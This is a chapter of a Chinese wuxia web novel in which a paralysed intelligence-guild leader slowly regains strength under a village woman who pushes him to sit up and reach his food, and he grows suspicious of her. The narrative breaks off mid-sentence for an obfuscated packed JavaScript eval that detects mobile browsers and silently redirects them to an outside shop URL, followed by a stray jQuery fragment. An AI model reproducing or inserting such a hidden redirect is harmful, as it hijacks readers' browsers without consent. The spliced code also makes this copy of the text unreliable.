晏归舟错愕地看着阿羽,阿羽也目不转睛地盯着他,似乎在思索些什么。
如果不能选择体面地活着,为什么不能选择死呢?如果掌控不了自己的身体,至少还能掌控自己的命吧?不吃不喝,总有一日能死掉吧?
可是她...究竟想要做什么?
只见阿羽盯了他片刻,转身离开了。
总算是走了,走了干净,高低不要管我,让我自生自灭就好。
晏归舟此刻已然心灰意冷,他松了口气,闭上了眼睛。
不及半盏茶时间,屋门又被推开,阿羽手上多了一捆绳子。
她要做什么?把我捆起来丢出去吗?
晏归舟瞪大了眼睛,疑惑地望着她。
阿羽径直走到他面前,手随意一挥,绳子便被抛上房梁,随后扯住另一头,当着他的面系了个环形。
这绳结古怪,不像是个普通村妇会的东西,更像是行刑人或者猎户会用的技巧。
难不成,她会打猎?
晏归舟心里闪过一丝异样。
还没来得及细想,她又如法炮制,将另一根绳子也用同样的方式系好。两个圆环,垂到了他眼前。
晏归舟的目光在绳结和阿羽之间移动了数次,眼睛越瞪越大。
她要做什么?让我上吊吗?还是...要亲手吊死我?她是不是疯了?
也好,上吊总比绝食来得痛快。
想到这里,他闭上眼,摆出一副视死如归的表情。
“起来。”阿羽声音冷冷的。
起来?她不是想吊死我?晏归舟睁开一只眼,对上她冷淡的眼神。
下半身没知觉,手也没力气,我都这个样子了,怎么可能起得来,死了算了。
他把头别过去,没作声。
“你这个样子,不如死了算了。”阿羽盯着他,声音没有任何波澜。
既然都这么说了,那就赶紧动手吧,吊死我得了。
晏归舟抿着嘴,一动不动。
阿羽退后几步,在桌子旁坐下,给自己倒了壶茶,漫不经心地饮着。
饮完茶,晏归舟还是没动,阿羽开口了:“要么用绳子起来,要么用绳子上吊。”
那不如上吊。
晏归舟看着眼前的绳子,只需稍微伸手,立刻就能够到。
“恐怕你现在连上吊的力气都没了。”阿羽的嘴角,好像挂着一抹似有似无的笑意。
她刚才是不是笑了?她嘲笑我?谁说我没有上吊的力气了?
晏归舟看着她,胸口有一股气血在翻涌。他伸出手,握住了绳子。
用力一拉,手臂酸胀乏力,根本吃不住力,别说把自己拉起来了,连绳子都差点握不住。
原来我真的废了,连上吊的力气都没了。
不行,我至少得能上吊,我得能决定自己怎么死。
他不甘心,又使出全身力气拉了一下,这次手抖得像筛糠,身体只离开了床板一寸,片刻之间便跌了回去。
他躺在床上,喘着粗气,瞥了眼一旁的阿羽。
阿羽翘着腿,举着茶盏,悠闲地送到嘴边。
她就这样坐在那里看我笑话?不能来帮我一把吗?帮我上吊也算成全我了。
他心中憋气,就又抓起绳子,手和后背一齐用力,将自己拉高了两寸。不到两息时间,手又脱力了,他再次跌了回去,身子一歪,脑袋磕在了床头。
这个世界大概没有比我更倒霉的人了,一朝变成废人,绳子、床头,这些死物件都在欺负我。
他盯着眼前那圆环,想着至少要能把脖子套进这圈中吧,就又伸出了手。
这次他握紧了绳子,提了提仅存的内力,用手臂、后背,甚至是牙齿发力。他抖着手臂,一寸一寸地将身体向上拔,手臂上的青筋几乎要爆出来,面色也憋得通红,整个上半身都在颤抖。
终于,他整个身体离开床板,坐了起来。
起身的一瞬间,他忽然就没了勇气,将自己的脖子套进那圆环。
他松开拉绳子的手,转而撑着床板,斜靠在墙上,气喘如牛。衣服已被汗打湿,贴在身上,露出陡峭的轮廓。太久没有起身,眼前天旋地转,他只能将头抵着墙,等待眩晕过去。
看到晏归舟坐起来,阿羽立刻从凳子上站起。
“这不是自己起来了。”她斜靠在桌边,“看来不用上吊了。”
晏归舟只管喘着粗气,连抬头看她的力气都没了。
真费劲,不如上吊。
“吃饭吗?”阿羽的声音放轻了一点。
晏归舟想说继续绝食,一了百了,肚子却不合时宜地叫了一声。他忙捂着肚子,身子却向一边歪去,又赶忙用手去撑。
堂堂听风阁阁主,今日算是什么体面也不剩了。
阿羽等他靠着墙,重新坐直了身子,将粥碗递了过去。
晏归舟看着面前的粥碗,犹豫了一瞬,还是伸手接了过来。他的手抖得根本端不住碗,洒了几滴在被子上。
阿羽也不恼,转身拿了布巾将那水渍擦掉。
他哆哆嗦嗦地将那碗粥送进嘴里,这是他这辈子喝得最累的一碗粥,也是最香的一碗。
————————
晏归舟原本以为,不过是每日把自己拉起来,吃顿饭的事情。有了第一次,第二次、第三次好像也没有那么难了,可那个女人好像没有放过他。
一开始,阿羽还会好好地把饭碗递到他手上,从第三日起,她突然将饭碗放在了离他面前一尺的床板上,随后便转身去桌旁坐下,自顾自地吃起饭来。
她什么意思?等着看我笑话?吃个饭也要刁难人,不吃了!
晏归舟别过头去,胸口一阵发堵。
可是肚子好饿...但够不到真的很丢人,打翻更丢人。
他又转头盯着眼前那碗饭,咽了咽口水,手伸出半寸,又缩了回去。
最终,饥饿感战胜了一切。
他咬咬牙,用手撑着床板,向前一点一点地蹭。挪了几寸,他又伸手去够,还是差了几寸。终于,在精疲力竭之前,他够到了那碗饭。
一手端着饭碗,一手撑着床板,松了床板身子会歪,松了饭碗粥会撒,晏归舟从来不知道还有这么荒唐的进退两难。
思索了一下,他咬着牙,用一只手撑着自己后退。好在这两日,腰上虽然没知觉,手上的力气涨了不少,终于还是撑着身子靠回了墙上。捧着着千辛万苦得来的饭,晏归舟欲哭无泪。
接下来几日,他没有好好吃过一顿饭。饭碗每日都会随机出现在床头、床尾、枕头边,一次比一次距离远,一次比一次位置刁钻。
为了吃口饭,他不得不挪出更远的距离。渐渐地,他的手能端稳饭碗了,也能撑着身子稳定地挪动了,坐着也比以前更直了。
每日百无聊赖,晏归舟就从床头挪到窗边,观察着阿羽。
这个女人平日里也不怎么讲话,终日穿着固定的衣服,做着一些固定的活计,就好像被训练好的一般,少了点活气。
她只有几件粗布麻衣,灰扑扑的,袖口磨出了毛边,腰上系着一根破布条,头上也用一根布条随意绑着,连根像样的簪子都没有。
她的作息很规律,第一声鸡叫声响起,她就起床了。喂鸡、劈柴都是她每日必做的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17975174|214739||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情。
院子不大,东南角垒了个鸡窝,用栅栏圈了一小片地。每次撒完鸡食,等鸡群在栅栏里开始啄食时,她都会去鸡窝里掏一掏,时不时掏出几个鸡蛋来。过不了多久,这些蛋准会出现在他碗里。
她劈柴的手很稳,斧头落下的角度很利落,断面整整齐齐,干净地不像话。就好像她手中拿的不是斧头,而是一把利刃,能瞬间砍下人的头颅。
想到这里,晏归舟脖颈一凉,下意识地摸了下自己的脖子。
我怎么,会有这种感觉?定是最近噩梦做得太多了。
他甩甩头,重新将身子向窗外探了探,用手肘撑在窗沿上。
院里有口井,只见她熟练地将系着绳子的水桶抛下,又飞快地将桶摇上来。轻轻松松,就能挑起四桶水,她挑着水桶,四平八稳地走向水缸,一滴都没有溅出来。
这女人,莫不是天生神力?还是说,寻常村妇就是有这么大的力气,是我见识少了?
晏归舟总觉阿羽有些不寻常,但从她的生活看来,又与一般村妇并无二致。
院子西边有个棚子,里面放着一些工具,偶尔看到阿羽在里面削竹子,或者倒腾些什么,但看得不是很明白。
厨房在堂屋的隔壁,每到饭点,阿羽就会进去,不久便会飘来烧柴火的味道。晏归舟将半个身子都趴在窗沿上,伸头向旁边看去,却什么也看不到。
做完一天的工,阿羽会回到屋子里,将几个铜板放进柜子上的陶罐里,陶罐轻轻晃动着,里面的铜板发出清脆的碰撞声。不过晏归舟听了听,觉得也没有几个铜板,看来阿羽当真是很贫穷。又或者,给自己买药已经花光了她的积蓄,毕竟那些药材应当不便宜。
阿羽是自己的恩人,他暗暗下决心,等哪日回去了,一定回来将她的陶罐用金叶子塞满。
从小在江南巨富家庭长大,晏归舟从来不知穷人的日子是怎样,反正从小就是锦衣玉食,父母对自己也无甚要求,健康平安就好。
建立听风阁,纯粹是觉得做纨绔没意思,家里的生意是家里的,自己的聪明才智不能浪费罢了。只是没想到,做着做着,听风阁就成为了江湖第一大情报机构。一个情报就能定人生死,一个情报就能掌控一场战争或是一场政治博弈,他享受这种掌控一切的感觉。
他低下头,锤着自己没有知觉的双腿。
现在的自己,连身体都掌控不了了,还谈什么掌控一切。如今困在这破屋之中,甚至于一张小小的床上。而这小村子,却根本不在自己的耳目之内。
他望向门口,思索着是否要请求阿羽送自己出去。若能去到镇上,或许能联系到亲信。但如果出去后先被追杀自己的人找到,这条命也就交代了。
午后阳光温热,令人有些困倦。不知不觉,他支着额头在窗沿上睡了过去。
陡然间,脖颈一凉,他捂着脖子惊醒过来,未及反应,身子便是一歪,差点栽下床去。他赶忙抓紧窗沿,这才稳住了身形,后背冷汗涔涔。
原来是场梦,又梦见悬崖边被偷袭的场景,被一记毒针扎了后颈。近些时日梦魇缠身,不断梦见自己被刺伤、溺亡和坠落,梦里他用双腿逃跑,醒来却瘫在床上。
晏归舟刚要叹气,门外响起一阵骚动,却没有脚步声。他探头向外张望,院中空无一人。
“阿羽。”他喊了两声,却无人回应。
莫不是追杀的人到了?
思及此,他立刻寻找起趁手的兵器,然而除了窗台上的水碗,什么也没有。
他只好砸碎水碗,将一片碎瓷捏在手中,一手撑着窗沿稳定身形,提了提仅存的内力,屏息听着门外的动静。